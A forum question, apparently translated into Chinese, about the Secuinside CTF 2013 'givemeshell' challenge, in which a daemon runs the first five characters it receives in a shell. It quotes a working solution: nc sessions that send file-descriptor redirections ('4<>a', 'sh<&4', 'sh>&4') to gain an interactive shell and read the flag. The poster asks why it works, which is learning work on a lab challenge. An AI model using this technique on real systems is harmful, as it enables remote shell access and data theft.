<分区>
本周末,有一场 CTF 兵棋推演,Secuinside CTF 2013 ( http://war.secuinside.com/ )
作为一名计算机安全爱好者,在 CTF 结束后,我了解了挑战以及他们的解决方案。
挑战之一是关于在服务器上获取远程 shell,前提是名为“givemeshell”的守护进程正在该服务器上运行。守护进程所做的是在选定的端口上保持套接字打开,比方说端口 12345。
当套接字接收到某些东西时,守护进程获取前 5 个字符并在 shell 中启动它们。
例如,如果我发送 cat file
,守护进程将在 shell 中启动命令 cat f
。 没有发送响应,所以我不知道命令的结果。
目标是读取包含标志的文件。
现在,有人给了我这个解决方案:
$ nc 1.2.3.4 12345
4<>a
$ nc 1.2.3.4 12345
sh<&4
sh>&4
cat flag
The flag is _FLAG_
我测试了这个解决方案并且它有效。但是在花了几个小时试图理解它之后,我仍然无法弄清楚它的作用以及它为什么起作用。我了解这是关于重定向某些内容...
有人能给我解释一下吗?谢谢!